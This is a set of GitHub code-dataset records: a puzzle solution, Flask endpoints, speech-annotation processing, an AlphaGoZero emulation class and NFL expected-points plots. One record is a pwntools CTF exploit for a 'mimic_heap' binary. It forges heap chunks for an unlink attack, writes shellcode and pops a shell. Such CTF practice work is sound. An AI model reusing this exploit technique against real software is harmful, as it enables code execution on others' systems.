mocap\n","repo_name":"MVDLab/VMIntegration","sub_path":"hmpldat/file/cortex.py","file_name":"cortex.py","file_ext":"py","file_size_in_byte":6262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"18356933058","text":"############################# PROBLEM OF THE DAY - 22nd March 2023 #################################################\n#-------------------------------------------------------------------------------------------------------------------\n\n\n# Given a string S. In one operation, you can remove the substring \"pr\" from the string S and get amount X or \n# you can remove the substring \"rp\" and get the amount Y. \n# Find the maximum amount you can get if you perform zero or more such operations optimally. \n\n\nclass Solution:\n def solve (self, X, Y, S):\n #code here\n x,y = 0,0\n while(True):\n if(X>=Y):\n if('pr'in S):\n x +=S.count('pr')\n S=S.replace('pr','')\n elif('rp' in S):\n y+=S.count('rp')\n S=S.replace('rp','')\n else:\n break\n \n if(Y>X):\n if('rp'in S):\n y+=S.count('rp')\n S=S.replace('rp','')\n elif('pr'in S):\n x+=S.count('pr')\n S=S.replace('pr','')\n else:\n break\n \n return (X*x)+(y*Y)","repo_name":"Arman-ali-khan-786/competitve_programming","sub_path":"gfg/potd/String_rp_or_pr.py","file_name":"String_rp_or_pr.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"18824298974","text":"from flask import render_template, redirect, request, url_for, session, jsonify\nfrom flask_login import login_user, login_required, logout_user, current_user\nfrom . import ajax\nfrom model.model import *\n\n\n@ajax.route('/thumb', methods=['POST', 'GET'])\n@login_required\ndef thumb():\n is_del = request.args.get('del', 0, type=int)\n operand = request.args.get('oper', 0, type=int)\n operand_id = request.args.get('id', 0, type=int)\n oper = OPERAND[operand](id=operand_id).select(getone=True)\n is_thumb = oper.is_thumb(current_user.id)\n if is_del and is_thumb:\n oper.del_thumb(current_user.id)\n elif not is_thumb:\n oper.set_thumb(current_user.id)\n return True\n\n\n@ajax.route('/collect', methods=['POST', 'GEt'])\n@login_required\ndef collect():\n is_del = request.args.get('del', 0, type=int)\n operand = request.args.get('oper', 0, type=int)\n operand_id = request.args.get('id', 0, type=int)\n oper = OPERAND[operand](id=operand_id).select(getone=True)\n is_collect = oper.is_collect(current_user.id)\n if is_del and is_collect:\n oper.del_collect(current_user.id)\n elif not is_collect:\n oper.set_collect(current_user.id)\n return True\n\n\n@ajax.route('/follow', methods=['POST', 'GET'])\n@login_required\ndef follow():\n user_id = request.args.get('id', -1, type=int)\n print(user_id, current_user.id)\n user = Account(id=user_id).select(getone=True)\n if user_id is -1:\n return False\n if current_user.is_follow(user):\n current_user.unfollow(user)\n result = -1\n else:\n current_user.follow(user)\n result = 1\n return jsonify({'f': result})\n\n\n@ajax.route('/visitor', methods=['POST', 'GET'])\n@login_required\ndef get_visitor():\n if current_user and current_user.email == \"voterlin@foxmail.com\":\n visitor = Visitor().select(oderby=\"member_since\", isasc=False)\n return jsonify(visitor)\n return \"None Info\"\n\n\n@ajax.route('/account', methods=['POST', 'GET'])\n@login_required\ndef get_account():\n if current_user.email == \"voterlin@foxmail.com\":\n account = Account().select(oderby=\"timestamp\", isasc=False)\n return jsonify(account)\n return \"None Info\"\n\n\n@ajax.route('/table', methods=['GET'])\ndef get_table():\n # 0 one_day / 1 top_word / 2 one_word\n type = request.args.get('type', 0, type=int)\n if type is 0:\n time = now(1)\n fre = Frequency(time=time).select(oderby='times', isasc=False, limit=20)\n return jsonify(day_search_result(fre))\n elif type is 1:\n web = Website().select(oderby='time', isasc=False, limit=20)\n return jsonify(top_word_result(web))\n elif type is 3:\n web = Website().select(oderby='time', isasc=False, limit=20)\n return jsonify(one_day_news_result(web))\n elif type is 2:\n word = request.args.get('word', '', type=str)\n fre = Frequency(word=word).select(oderby='time', isasc=True, limit=20)\n return jsonify(word_search_result(fre))\n\n\ndef one_day_news_result(web):\n data = []\n lables = []\n for w in web:\n data.append(w.news_count)\n lables.append(str(w.time))\n return {'data': data, 'labels': lables}\n\n\ndef top_word_result(web):\n data = []\n lables = []\n for w in web:\n data.append(w.top_word_count)\n lables.append(w.top_word)\n return {'data': data, 'labels': lables}\n\n\ndef day_search_result(fre):\n data = []\n lables = []\n for f in fre:\n data.append(f.times)\n lables.append(f.word)\n return {'data': data, 'labels': lables}\n\n\ndef word_search_result(fre):\n data = []\n lables = []\n for f in fre:\n data.append(f.times)\n lables.append(str(f.time))\n return {'data': data, 'labels': lables}\n","repo_name":"VintLin/Hot-News","sub_path":"App/ajax/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3735,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"68"}
+{"seq_id":"7137962565","text":"import pandas as pd\nimport numpy as np\nimport textgrid\nimport os\nimport re, sys\n\npattern = \"([A-Za-z0-1@]+[A-Za-z0-1@]+)\"\n\ndef read_sentences(rootpath):\n file_list = os.listdir(rootpath)\n return file_list\n\nclass Sentences:\n\n def __init__(self):\n self.word_list = []\n\n def read_from_textgrid(self, file_textgrid_obj):\n '''\n Assume: a loads of textgrids in a path, each of which has a 'words' tier and a 'segments' tier.\n Segments tier includes all segments of every word in SAMPA.\n Read all textgrids files one by one. Read every segment corresponding to certain word and output\n infomation about this word into csv. Information including: starting/ending time, word, segments of\n the word, starting/ending time of this segment.\n :param file_list: all files in the path\n :return: nothing\n '''\n global intervals_words, intervals_segments\n\n tier_list = file_textgrid_obj.tiers\n interval_num = 0\n\n for each_tier in tier_list:\n if each_tier.name == 'words':\n tier_words = each_tier\n intervals_words = tier_words.intervals\n elif each_tier.name == 'segments':\n tier_segments = each_tier\n intervals_segments = tier_segments.intervals\n #get segments & words intervals in list\n try:\n for each_word in intervals_words:\n word_start_time = each_word.minTime\n word_end_time = each_word.maxTime\n word_mark = each_word.mark\n segment_list=[]\n\n a_word = Word(word_start_time, word_end_time, word_mark, segment_list)\n try:\n while (intervals_segments[interval_num].minTime >= word_start_time) \\\n & (intervals_segments[interval_num].maxTime <= word_end_time) \\\n & (intervals_segments[interval_num].minTime != intervals_segments[interval_num].maxTime):\n\n segment_mark = intervals_segments[interval_num].mark\n m = re.match(pattern, segment_mark)\n if m:\n tmp_list = list(segment_mark)\n for each_seg in tmp_list:\n segment_list.append(each_seg)\n #print(each_seg)\n else:\n segment_list.append(segment_mark)\n interval_num += 1\n except IndexError:\n interval_num = 0\n a_word.update_segment_list(segment_list)\n self.word_list.append(a_word)\n except AttributeError:\n print('tier words is empty or does not exist ')\n\nclass Word:\n def __init__(self, word_start_time, word_end_time, word_mark, segment_list):\n self.word_mark = word_mark\n self.word_start_time = word_start_time\n self.word_end_time = word_end_time\n self.segment_list = segment_list\n self.event_list = []\n self.num_in_event_list = 0\n self.cues_list = []\n\n def update_segment_list(self, new_segment_list):\n self.segment_list = new_segment_list\n\n def update_event_list (self, new_event_list):\n self.event_list = new_event_list\n\n def update_num_in_event_list(self, new_num_in_event_list):\n self.num_in_event_list = new_num_in_event_list\n\n def update_cues_list (self, new_cues_list):\n self.cues_list = new_cues_list\n\ndef create_event(a_sentence, filename):\n\n word_obj_list = a_sentence.word_list\n length = len(word_obj_list)\n event_list = []\n each_event_list = []\n\n for each_word in word_obj_list:\n #print(str(each_word.segment_list)+\" \"+each_word.word_mark)\n if each_word.word_mark != '':\n each_event_list.append(each_word)\n else:\n if each_event_list != []:\n event_list.append(each_event_list)\n each_event_list = []\n else:\n each_event_list = []\n if each_event_list != []:\n event_list.append(each_event_list)\n\n #print(event_list)\n count_event =0\n count_word = 0\n num_in_event_list = 0\n\n\n for each_word in word_obj_list:\n if each_word.word_mark != '
':\n each_word.update_event_list(event_list[count_event])\n each_word.update_num_in_event_list(num_in_event_list)\n num_in_event_list += 1\n count_word += 1\n else:\n if count_word != 0 :\n #print(filename+str(count_word)+\" \"+str(len(word_obj_list)-1))\n\n if ((count_word+1) <= (len(word_obj_list)-1)):\n if (word_obj_list[count_word+1].word_mark != '
'):\n count_event += 1\n count_word += 1\n num_in_event_list = 0\n else:\n count_word += 1\n num_in_event_list = 0\n\n else:\n count_event += 1\n count_word += 1\n num_in_event_list = 0\n\n elif count_word == 0:\n count_word += 1\n num_in_event_list = 0\n\n #print(each_word.word_mark+\" \"+str(each_word.event_list) + \" \"+str(each_word.num_in_event_list))\n\n\ndef create_cues(a_sentence, existing_np, filename):\n word_obj_list = a_sentence.word_list\n df = existing_np\n for each_word in word_obj_list:\n cue_word_list = []\n cue_segment_list = []\n if each_word.word_mark != '
':\n event_list = each_word.event_list\n length = len(event_list)\n num_in_event_list = each_word.num_in_event_list\n if 0 <= each_word.num_in_event_list -2:\n cue_word_list.append(event_list[num_in_event_list-2])\n\n if 0 <= each_word.num_in_event_list -1:\n cue_word_list.append(event_list[num_in_event_list-1])\n\n cue_word_list.append(each_word)\n\n if each_word.num_in_event_list+1 <= length-1:\n cue_word_list.append(event_list[num_in_event_list+1])\n\n if each_word.num_in_event_list+2 <= length-1:\n cue_word_list.append(event_list[num_in_event_list+2])\n\n if cue_word_list[0].num_in_event_list -1 >= 0:\n vor_word = event_list[cue_word_list[0].num_in_event_list -1]\n vor_segment = vor_word.segment_list[len(vor_word.segment_list)-1]\n cue_segment_list.append(vor_segment)\n else:\n cue_segment_list.append(\"#\")\n\n for each_cue_word in cue_word_list:\n for each_cue_segment in each_cue_word.segment_list:\n cue_segment_list.append(each_cue_segment)\n\n if cue_word_list[len(cue_word_list)-1].num_in_event_list +1 <= len(event_list) -1:\n nach_word = event_list[cue_word_list[len(cue_word_list)-1].num_in_event_list +1]\n #print(nach_word.segment_list)\n try:\n nach_segment = nach_word.segment_list[0]\n cue_segment_list.append(nach_segment)\n except IndexError:\n print(filename)\n else:\n cue_segment_list.append(\"#\")\n #print(cue_segment_list)\n\n whole_cue = []\n\n for each_cue_word in cue_word_list:\n whole_cue.append(each_cue_word.word_mark)\n whole_cue.append(\"_\")\n\n length = len(cue_segment_list)\n count = 0\n\n for each_cue_segment in cue_segment_list:\n if count == 0:\n whole_cue.append(each_cue_segment)\n whole_cue.append(cue_segment_list[count + 1])\n whole_cue.append(\"_\")\n count += 1\n\n elif count == length - 2:\n whole_cue.append(each_cue_segment)\n whole_cue.append(cue_segment_list[count + 1])\n count += 1\n\n elif count == length - 1:\n break\n\n else:\n whole_cue.append(each_cue_segment)\n whole_cue.append(cue_segment_list[count + 1])\n whole_cue.append(\"_\")\n count += 1\n\n df = write_into_df (a_sentence, each_word, whole_cue, df, filename)\n\n return df\n\n\n\n\ndef write_into_df (a_sentence, each_word, whole_cue, existing_np, filename):\n sentence = []\n event = []\n for each_word_obj in a_sentence.word_list:\n sentence.append(each_word_obj.word_mark)\n\n for each_word_obj in each_word.event_list:\n event.append(each_word_obj.word_mark)\n\n sentence_str = \" \".join(sentence)\n event_str = \" \".join(event)\n this_word_str = each_word.word_mark\n cue_str = \"\".join(whole_cue)\n\n new_np = np.array([[sentence_str,event_str,cue_str, this_word_str, filename]])\n results_np = np.vstack([existing_np,new_np])\n #existing_np.append([[sentence_str,event_str,cue_str, this_word_str]], axis = 0)\n #print(new_np)\n return results_np\n\n\n\n\nif __name__ == '__main__':\n#\"/home/nianheng/Desktop/problem/0/\"\n rootpath = '/home/nianheng/Documents/hiwi/10october/SWG/results_without_namefolder/'\n outpath = \"/home/nianheng/Documents/hiwi/11november/\"\n file_list = read_sentences(rootpath)\n\n df = np.array([['sentences', 'event', 'cues', 'outcomes(variant)', 'filename']])\n\n for each_file_name in file_list:\n file_path = rootpath + each_file_name\n try:\n file_textgrid_obj = textgrid.TextGrid.fromFile(file_path)\n a_sentence = Sentences()\n a_sentence.read_from_textgrid(file_textgrid_obj)\n create_event(a_sentence, each_file_name)\n df_np = create_cues(a_sentence,df, each_file_name)\n df = pd.DataFrame(df_np, columns=['sentences', 'event', 'cues', 'outcomes(variant)', 'filename'])\n except UnicodeDecodeError:\n print(each_file_name + ': the encode is weird, not utf-8 or ansi')\n df.to_csv(outpath + \"first_try.csv\", sep=\",\")","repo_name":"RealNicolasBourbaki/KEC","sub_path":"try_morpho_tagger/CreateNPLTrainingSet.py","file_name":"CreateNPLTrainingSet.py","file_ext":"py","file_size_in_byte":10205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"25481139757","text":"from agent import Agent\nfrom threading import Thread\nfrom utilities import TimeLogger, heatmap\nfrom time import time\n\n\n\nclass Emulation:\n\t\"\"\"Server for MDP emulation\"\"\"\n\tTIMER = TimeLogger()\n\tdef __init__(self, \n\t\t\t\t MDP_class, \n\t\t\t\t n_tree_nodes, \n\t\t\t\t n_sampling_moves, \n\t\t\t\t n_threads, \n\t\t\t\t n_moves, \n\t\t\t\t replay_buffer=None, \n\t\t\t\t temperatur=1, \n\t\t\t\t **kwargs):\n\t\tself.replay_buffer = replay_buffer\n\t\tself.MDP_class = MDP_class\n\t\tself.n_tree_nodes = n_tree_nodes\n\t\tself.n_sampling_moves = n_sampling_moves\n\t\tself.n_threads = n_threads\n\t\tself.n_moves = n_moves\n\t\tself.temperatur = temperatur\n\t\tself.Z_AVRG = 0\n\t\tself.Z = 0\n\t\tself.N = 0\n\t\tself.eta = 0.03\n\n\n\t@TIMER.log\n\tdef play(self, link, seed):\n\t\ttrajectory = []\n\t\tMDP = self.MDP_class()\n\t\tagent = Agent(MDP_class=self.MDP_class, \n\t\t\t\t\t state=MDP.S, \n\t\t\t\t\t n_sammpling_moves=self.n_sampling_moves, \n\t\t\t\t\t link=link, \n\t\t\t\t\t n_threads=self.n_threads, \n\t\t\t\t\t temperatur=self.temperatur, \n\t\t\t\t\t seed=seed + int(time()))\n\t\tVs, X = [], MDP.S.X\n\t\tfor t in range(self.n_moves):\n\t\t\tPI, A = agent(self.n_tree_nodes)\n\t\t\tVs.append(agent.mcts.root.V)\n\t\t\ttrajectory.append((X, PI))\n\t\t\tX, terminal = MDP(A)\n\t\t\tif terminal: break\n\t\tZ = MDP.evaluate()\n\t\ttrajectory = [(X, PI, Z*((-1)**i)) for i, (X, PI) in enumerate(trajectory[:-1])]\n\t\tX, PI, Z_end = trajectory[-1]\n\t\tV_end = Vs[-2]\n\t\tself.Z_AVRG = (1 - self.eta) * self.Z_AVRG + self.eta * Z\n\t\tprint(f\"\"\"{MDP.S}\nBLACK VICTORIES: {round(self.Z_AVRG, 3)}\nLEN OF THE GAME: {len(trajectory)}\n{'BLACKS' if Z == 1 else 'WHITES'} VICTORY\nEVALUATION ERROR: {round(Z_end + V_end, 2)}\"\"\")\n\t\tself.replay_buffer.extend(trajectory[:-3])\n\n\n\tdef eval(self, link, PID, score, phase='alpha'):\n\t\tflag = True\n\t\twhile True:\n\t\t\t# START GAME\n\t\t\tMDP = self.MDP_class()\n\t\t\talpha_agent = Agent(MDP_class=self.MDP_class, \n\t\t\t\t\t\t\t\tstate=MDP.S, \n\t\t\t\t\t\t\t\tn_sammpling_moves=self.n_sampling_moves, \n\t\t\t\t\t\t\t\tlink=link, \n\t\t\t\t\t\t\t\tn_threads=self.n_threads, \n\t\t\t\t\t\t\t\ttemperatur=self.temperatur,\n\t\t\t\t\t\t\t\tseed=(int(time()) + PID),\n\t\t\t\t\t\t\t\tverbose=(PID == 0))\n\t\t\t\n\t\t\tbeta_agent = Agent(MDP_class=self.MDP_class, \n\t\t\t\t\t\t\t state=MDP.S, \n\t\t\t\t\t\t\t n_sammpling_moves=self.n_sampling_moves, \n\t\t\t\t\t\t\t link=link, \n\t\t\t\t\t\t\t n_threads=self.n_threads, \n\t\t\t\t\t\t\t temperatur=self.temperatur, \n\t\t\t\t\t\t\t seed=(int(time()) - PID),\n\t\t\t\t\t\t\t randomize=False,\n\t\t\t\t\t\t\t verbose=(PID == 0))\n\t\t\t\n\t\t\talpha_pass = 0\n\t\t\tbeta_pass = 0\n\t\t\twhile True:\n\t\t\t\tPI, A = alpha_agent(self.n_tree_nodes)\n\t\t\t\tbeta_agent.mcts.forward(A)\n\t\t\t\tX, terminal = MDP(A)\n\t\t\t\tif A is None:\n\t\t\t\t\talpha_pass += 1\n\t\t\t\tif terminal: break\n\n\t\t\t\tPI, A = beta_agent(self.n_tree_nodes)\n\t\t\t\talpha_agent.mcts.forward(A)\n\t\t\t\tX, terminal = MDP(A)\n\t\t\t\tif A is None:\n\t\t\t\t\tbeta_pass += 1\n\t\t\t\tif terminal: break\n\n\t\t\t# CREATE TRAJECTORY\n\t\t\tprint(MDP.S, alpha_pass, beta_pass)\n\t\t\tZ = MDP.evaluate()\n\t\t\tif flag:\n\t\t\t\tscore.append(Z)\n\t\t\t\tflag = False\n\t\t\t\n\n\n\tdef run(self, *args, **kwargs):\n\t\targs = args\n\t\tkwargs = kwargs\n\t\twhile True:\n\t\t\tself.play(*args, **kwargs)\n\n","repo_name":"mortimervonchappuis/AlphaGoZero","sub_path":"emulation.py","file_name":"emulation.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"756324926","text":"#coding:utf-8\nimport sys\nfrom pwn import *\ncontext.log_level='debug'\ncontext.arch='amd64'\nwhile True :\n\t# try :\n\t\tif len(sys.argv)==1 :\n\t\t\tio=process('./mimic_heap')\n\t\t\t# io=process(['./'],env={'LD_PRELOAD':'./'})\n\t\t\telf=ELF('./mimic_heap')\n\t\t\tlibc1=ELF('./libc-2.27.so')\n\t\t\tlibc2=ELF('./libc-2.23.so')\n\t\t\t# libc2 = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')\n\t\t\tone_gadget = [0x4f2c5,0x4f322,0x10a38c]\n\t\telse :\n\t\t\tio=remote('nc.eonew.cn',10009)\n\t\t\telf=ELF('./mimic_heap')\n\t\t\tlibc1=ELF('./libc-2.27.so')\n\t\t\tlibc2=ELF('./libc-2.23.so')\n\t\t\t# ld = ELF('/lib/x86_64-linux-gnu/ld-2.27.so')\n\t\t\tone_gadget = [0x4f2c5,0x4f322,0x10a38c]\n\n\t\tdef add(a,b):\n\t\t\tio.sendlineafter('Your choice:','1')\n\t\t\tio.sendlineafter('The size: ',str(a))\n\t\t\tio.sendafter('Content: ',b)\n\n\t\tdef edit(a,b):\n\t\t\tio.sendlineafter('Your choice:','3')\n\t\t\tio.sendlineafter('want to modify:',str(a))\n\t\t\tio.sendafter('Content: ',b)\n\n\t\tdef show(a):\n\t\t\tio.sendlineafter('Your choice:','4')\n\t\t\tio.sendlineafter('want to see: ',str(a))\n\n\t\tdef delete(a):\n\t\t\tio.sendlineafter('Your choice:','2')\n\t\t\tio.sendlineafter('u want to delete: ',str(a))\n\n\n\t\tadd(0xa0,'aaaa')\n\t\tdelete(0)\n\t\tadd(0x40,'aaaa')\n\t\tadd(0x40,'aaaa')\n\t\tadd(0x48,'aaaa')\n\t\tfor i in range(8):\n\t\t\tadd(0xf8,'aaaa')\n\t\tfor i in range (7):\n\t\t\tdelete(i+4)\n\n\t\tptr=0xabc028\n\t\tfd=ptr-0x18\n\t\tbk=ptr-0x10\n\t\tedit(2,p64(0)+p64(0x41)+p64(fd)+p64(bk)+'\\x00'*0x20+p64(0x40))\n\t\tadd(0x20,'aaaa')\n\t\tdelete(3)\n\t\tpay=[\n\t\t0x1000,0xabc000\n\t\t]\n\t\tedit(2,flat(pay))\n\t\tpay=[\n\t\t0,0x101,\n\t\t0,0,\n\t\t0x100,0xabc010,\n\t\t0x100,0xabc010,\n\t\t0x100,0xabc000\n\t\t]\n\t\tedit(1,flat(pay).ljust(0x100,'\\x00')+p64(0)+p64(0x21)+p64(0)+p64(0x21)+p64(0)+p64(0xab1)+asm(shellcraft.sh()))\n\t\tdelete(2)\n\t\tshell_addr=0xabc130\n\t\tedit(3,p64(0x100))\n\t\tedit(1,'\\x00'*0x10+p64(shell_addr)+'\\x00'*0x18+p64(shell_addr))\n\n\t\t# if heap_base&0xfff == 0 :\n\t\t# \tlibc=libc2\n\t\t# else:\n\t\t# \tlibc=libc1\n\t\t# pay=[\n\t\t# heap_base+0xc0\n\t\t# ]\n\t\t# edit(1,flat(pay)+'\\x90')\n\t\t# show(0)\n\t\t# io.recvuntil('Content: \\n')\n\t\t# libc_base=(u64(io.recv(6)+'\\x00\\x00')-libc.sym['__malloc_hook']-88-0x10)&0xffffffffffff000\n\t\t# libc.address=libc_base\n\t\t# bin_sh_addr=libc.search('/bin/sh\\x00').next()\n\t\t# system_addr=libc.sym['system']\n\t\t# pay=[\n\t\t# libc.sym['__free_hook'],\n\t\t# ]\n\t\t# edit(1,flat(pay)+'\\x90')\n\t\t# edit(0,p64(system_addr))\n\t\t# add(0x20,'/bin/sh\\x00')\n\t\t# delete(3)\n\n\n\n\t\t# success('heap_base:'+hex(heap_base))\n\t\t# success('libc_base:'+hex(libc_base))\n\t\t# gdb.attach(io)\n\t\t# pause()\n\t\tio.interactive()\n\n\t# except Exception as e:\n\t# \tio.close()\n\t# \tcontinue\n\t# else:\n\t# \tcontinue","repo_name":"ilovekeer/Buuoj-Pwn","sub_path":"pwn_challage/mimic_heap/exp1.py","file_name":"exp1.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"68"}
+{"seq_id":"1106377257","text":"'''Make a 3-d graph relating expected points to distance and first down'''\r\n\r\nimport numpy as n\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport pickle\r\n\r\nmainModel = pickle.load(open(\"mainmodel.dat\",\"rb\"))\r\nnormalModel = pickle.load(open(\"normalmodel.dat\",\"rb\"))\r\nfourthModel = pickle.load(open(\"4thmodel.dat\",\"rb\"))\r\nKOModel = pickle.load(open(\"KOModel.dat\",\"rb\"))\r\nclutchModel = pickle.load(open(\"final5.dat\",\"rb\"))\r\ngtgModel = pickle.load(open(\"gtgmodel.dat\",\"rb\"))\r\ndecisionModel = pickle.load(open(\"4thChoiceModel.dat\",\"rb\"))\r\n\r\n#this function exists so that the main function can be on top where it belongs\r\ndef runThings():\r\n plotEP()\r\n #plotEP(down=n.random.randint(1,5),sd=n.random.randint(-17,18),time=n.random.randint(0,1801),half=2,scoreType=-7)\r\n #plotDecisions(time=900,sd=0)\r\n \r\n#wasn't expecting this to end up being recursive but it makes sense, \r\n#i guess, with teams kicking back and forth until time runs out\r\ndef EP(probArray, time, sd):\r\n MTTS = 261 #mean time to score, determined through averaging the time to next score of all events with a next score that half\r\n kickoffAdjustment = 0 if time <= 0 else EP(KOModel.predict_proba([[35, time - MTTS, sd]])[0], time - MTTS, sd)\r\n return ((probArray[6] - probArray[0]) * (6.97 - kickoffAdjustment) + #our TD prob minus their TD prob, multiplied by TD value (6.97 accounting for average conversion score)\r\n (probArray[5] - probArray[1]) * (3 - kickoffAdjustment) + #same but for FGs\r\n (probArray[4] - probArray[2]) * (2 + kickoffAdjustment)) #you receive the KO after a safety so add the KO adjustment\r\n \r\ndef GTGProbArray(down, dist, time, sd, underThree):\r\n output = list(gtgModel.predict_proba([[down, dist, time, sd, underThree]])[0])\r\n output.append(0)\r\n output[3:7] = output[2:6]\r\n mainModel.predict_proba([[down, dist, dist, time, sd, 1, underThree]])[0][2] #get safety against probs from main model\r\n output = n.array(output)\r\n output /= n.sum(output) #normalize so probs add up to 1.0\r\n return output\r\n\r\nscoreMap = {-7:(0, \"TD Against\"),-3:(1,\"FG Against\"),-2:(2,\"Safety Conceded\"),0:(3,\"Scoreless Rest of Half\"),+2:(4,\"Safety For\"),+3:(5,\"FG by offense\"),+7:(6,\"TD by offense\")}\r\ncolours = [\"viridis\", \"Wistia\",\"cool\",\"spring\",\"summer\",\"gnuplot\",\"plasma\"]\r\n \r\n#selects the correct model and returns the expected point value for a play with the given parameters, or a certain scoring probability\r\n#(does not include kickoff-type plays)\r\ndef EPFunc(down, toGoal, toFirst, time, sd, gtg, underThree, half=1, scoreType=\"EP\"):\r\n if (scoreType == \"EP\"):\r\n if ((half == 2) and (time <= 300)):\r\n return EP(clutchModel.predict_proba([[down, min(toFirst, toGoal), toGoal, time, sd, int(gtg), int(underThree)]])[0],time,sd) \r\n elif (gtg): \r\n output = GTGProbArray(down, toGoal, time, sd, underThree)\r\n return EP(output, time, sd)\r\n elif (down == 4):\r\n return EP(fourthModel.predict_proba([[toGoal, toFirst, time, int(toGoal <= 37), sd]])[0],time,sd) \r\n else: \r\n return EP(normalModel.predict_proba([[down,min(toFirst,toGoal),toGoal,time,sd,int(underThree)]])[0],time,sd)\r\n else: \r\n if (scoreType not in scoreMap):\r\n raise ValueError(\"Improper Score Type Provided\")\r\n if ((half == 2) and (time <= 300)):\r\n return clutchModel.predict_proba([[down, min(toFirst, toGoal), toGoal, time, sd, int(gtg), int(underThree)]])[0][scoreMap[scoreType][0]]\r\n elif (gtg): \r\n return GTGProbArray(down, toGoal, time, sd, underThree)[scoreMap[scoreType][0]]\r\n elif (down == 4):\r\n return fourthModel.predict_proba([[toGoal, toFirst, time, int(toGoal <= 37), sd]])[0][scoreMap[scoreType][0]]\r\n else: \r\n return normalModel.predict_proba([[down,min(toFirst,toGoal),toGoal,time,sd,int(underThree)]])[0][scoreMap[scoreType][0]]\r\n \r\n \r\ndef plotEP(down=1, sd=0, time=1200, half=1, scoreType=\"EP\"):\r\n z = n.zeros((100, 100)) # Initialize z with zeros. the first array axis is yardsToFirst, and the second is yardsToGoal\r\n x = n.linspace(1,100,num=100)\r\n y = n.linspace(1,25,num=100)\r\n x,y = n.meshgrid(x,y)\r\n for yardsToGoal in range(100):\r\n for yardsToFirst in range(100):\r\n index = yardsToFirst\r\n yardsToFirst = (yardsToFirst * (25/100) + 1)\r\n z[index][yardsToGoal] = EPFunc(down, yardsToGoal+1, min(yardsToFirst, yardsToGoal+1), time, sd, (yardsToFirst >= yardsToGoal), (time < 180),half,scoreType=scoreType)\r\n figure = plt.figure()\r\n axes = figure.add_subplot(projection=\"3d\")\r\n axes.plot_surface(x,y,z,cmap=colours[n.random.randint(len(colours))],rcount=100,ccount=100)\r\n axes.set(xlabel=\"Yards To Opponent's End Zone\",ylabel=\"Yards to First Down\",zlabel=\"Expected Points\",\r\n title=(\"EP by Field Position and Distance to First Down, Possession team \" + (\"winning\" if sd >= 0 else \"losing\")\r\n + \" by \" + str(abs(sd)) + \" with \" + str(time) + \" seconds remaining in half \" + str(half) + \" on down #\" + str(down)),zlim=(-3,7),ylim=(0,25),xlim=(0,100))\r\n if (scoreType != \"EP\"):\r\n axes.set(zlabel=scoreMap[scoreType][1] + \"Probability\",\r\n title=\"Probability of \" + scoreMap[scoreType][1] + \", Possession Team \" + (\"winning\" if sd >= 0 else \"losing\") + \" by \" + str(abs(sd)) + \" with \" + str(time) + \" seconds remaining in half \" + str(half) + \" on down #\" + str(down))\r\n if (scoreType != \"EP\"):\r\n biggest = max(max(z[0]),max(z[99])) \r\n #highest peak on either extreme end of the graph. \r\n #while some points may technically be higher, this is good enough\r\n axes.set(zlim=(0,biggest * 1.2 if (biggest <= 0.5) else 1))\r\n plt.subplots_adjust(top=0.97,right=1,left=0.0,bottom=0.0)\r\n plt.show()\r\ndef plotDecisions(sd=0,time=1200):\r\n goForIt = n.zeros((100, 100)) #the first array axis is yardsToFirst, and the second is yardsToGoal\r\n kickFG = n.zeros((100,100))\r\n punt = n.zeros((100,100))\r\n x = n.linspace(1,100,num=100)\r\n y = n.linspace(1,25,num=100)\r\n x,y = n.meshgrid(x,y)\r\n for yardsToGoal in range(100):\r\n for yardsToFirst in range(100):\r\n index = yardsToFirst\r\n yardsToFirst = (yardsToFirst / 4)\r\n punt[index][yardsToGoal], kickFG[index,yardsToGoal],goForIt[index][yardsToGoal] = decisionModel.predict_proba([[yardsToGoal, min(yardsToFirst, yardsToGoal),time, int(yardsToGoal <= 40), sd]])[0]\r\n #sets the value of all three arrays in the same command\r\n \r\n #make goForIt graph \r\n figure = plt.figure()\r\n axes = figure.add_subplot(projection=\"3d\")\r\n axes.plot_surface(x,y,goForIt,cmap=\"cool\",rcount=100,ccount=100,label=\"Go for it Probability\")\r\n axes.set(xlabel=\"Yards To Opponent's End Zone\",ylabel=\"Yards to First Down\",zlabel=\"Probabilities\",\r\n title=(\"Probability of a team Going for it on 4th down, Possession team \" + (\"winning\" if sd >= 0 else \"losing\")\r\n + \" by \" + str(abs(sd)) + \" with \" + str(time) + \" seconds remaining in the half\"),zlim=(0,1),ylim=(0,25),xlim=(0,100))\r\n plt.subplots_adjust(top=0.97,right=1,left=0,bottom=0)\r\n plt.show()\r\n \r\n #make field goal graph\r\n figure = plt.figure()\r\n axes = figure.add_subplot(projection=\"3d\")\r\n axes.plot_surface(x,y,kickFG,cmap=\"winter\",rcount=100,ccount=100,label=\"Field Goal Probability\")\r\n axes.set(xlabel=\"Yards To Opponent's End Zone\",ylabel=\"Yards to First Down\",zlabel=\"Probabilities\",\r\n title=(\"Probability of a team attempting a FG on 4th down, Possession team \" + (\"winning\" if sd >= 0 else \"losing\")\r\n + \" by \" + str(abs(sd)) + \" with \" + str(time) + \" seconds remaining in the half\"),zlim=(0,1),ylim=(0,25),xlim=(0,100))\r\n plt.subplots_adjust(top=0.97,right=1,left=0,bottom=0)\r\n plt.show()\r\n\r\n figure = plt.figure()\r\n axes = figure.add_subplot(projection=\"3d\")\r\n axes.plot_surface(x,y,punt,cmap=\"Wistia\",rcount=100,ccount=100,label=\"Punt Probability\")\r\n axes.set(xlabel=\"Yards To Opponent's End Zone\",ylabel=\"Yards to First Down\",zlabel=\"Probabilities\",\r\n title=(\"Probability of a team punting on 4th down, Possession team \" + (\"winning\" if sd >= 0 else \"losing\")\r\n + \" by \" + str(abs(sd)) + \" with \" + str(time) + \" seconds remaining in the half\"),zlim=(0,1),ylim=(0,25),xlim=(0,100))\r\n 